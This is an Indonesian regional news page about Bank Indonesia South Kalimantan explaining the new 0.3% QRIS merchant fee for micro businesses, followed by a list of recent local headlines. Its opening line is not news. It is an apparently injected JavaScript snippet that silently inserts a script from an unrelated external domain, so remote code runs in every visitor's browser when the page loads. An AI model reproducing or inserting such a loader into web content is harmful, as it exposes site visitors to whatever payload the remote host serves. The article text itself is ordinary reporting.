(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Transaksi QRIS Usaha Mikro Kena Biaya 0,3%, Begini Penjelasan Perwakilan BI Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Perwakilan Bank Indonesia (BI) Kalimantan Selatan menjelaskan terkait penyesuaian kebijakan baru Merchant Discount Rat (MDR) QRIS yang digunakan sebagai alat pembayaran.

Sebab sebelumnya penggunaan QRIS untuk pembayaran dikenakan tarif 0%, namun pada awal Juli 2023 lalu penggunaan QRIS untuk pembayaran usaha mikro dikenakan biaya 0,3%.

Kepala Perwakilan BI Kalsel Wahyu Pratomo mengatakan, sejak awal peluncurannya tahun 2019 MDR QRIS sempat dikenakan biaya 0,7%.

Namun, pada April 2020 sebagai respon atas keterpurukan ekonomi masyarakat akibat pandemi Covid-19, maka transaksi QRIS untuk pelaku pedagang usaha mikro tidak dikenakan biaya alias digratiskan.

Baca juga: Banjarmasin Job Fair 2023 Digelar Tiga Hari, Tawarkan 500 Lowongan Kerja

“Sekarang per 1 Juli 2023 lalu MDR QRIS dikenakan biaya 0,3% untuk usaha mikro, lebih rendah dari peluncuran awal,” sebut Wahyu saat Bincang Bareng Media (BBM) di aula Rektorat ULM Banjarmasin, Selasa (25/7/2023) sore.

Wahyu menjelaskan pertimbangan penarikan tarif transaksi QRIS dikarenakan saat ini kondisi perekonomian secara nasional maupun di wilayah Kalsel telah berangsur-angsur pulih.

Kemudian MDR QRIS akan dialokasikan kepada ke industri penyedia jasa pembayaran agar pelayanan QRIS kepada masyarakat bisa lebih baik. Wahyu menambahkan BI sebagai regulator dan pengawas tidak mendapatkan keuntungan dari MDR QRIS.

“Banyak yang belum tahu, dibalik satu transaksi QRIS ada banyak penyedia jasa pembayaran yang terlibat. Mulai dari penerbit (issuer), acquirer, lembaga switching, lembaga services, hingga lembaga standar,” jelas Wahyu.

Baca juga: Penjualan Listrik PLN Semester I Capai 137,12 TWh, Tumbuh 13,07 Persen

Menurutnya, tarif MDR QRIS yang dikenakan kepada pelaku usaha mikro juga lebih rendah dibanding golongan lainnya, yaitu usaha kecil (UKe), usaha menengah (UMe), dan usaha besar (UBe) sebesar 0,7%.

Kemudian untuk Stasiun Pengisian Bahan Bakar Umum (SPBU), Badan Layanan Umum (BLU), dan Public Services Obligation (PSO) sebesar 0,4%.

Berdasarkan data BI secara nasional, per Mei 2023 ada 35,8 juta pengguna QRIS, 26,1 juta merchant QRIS. Sementara itu di Kalsel sendiri, sudah ada 454.986 pengguna QRIS.

“Sebanyak 95,87% merchant QRIS merupakan pelaku UMKM,” pungkasnya.

Dalam setahun terakhir, volume dan nominal transaksi QRIS juga tumbuh signifikan, secara berturut-turut sebesar 152% dan 175%. (Kanalkaliantan.com/rizki)

Reporter : rizki
Editor : bie


Al Ghifari

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

9 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

10 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

11 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

14 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

18 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.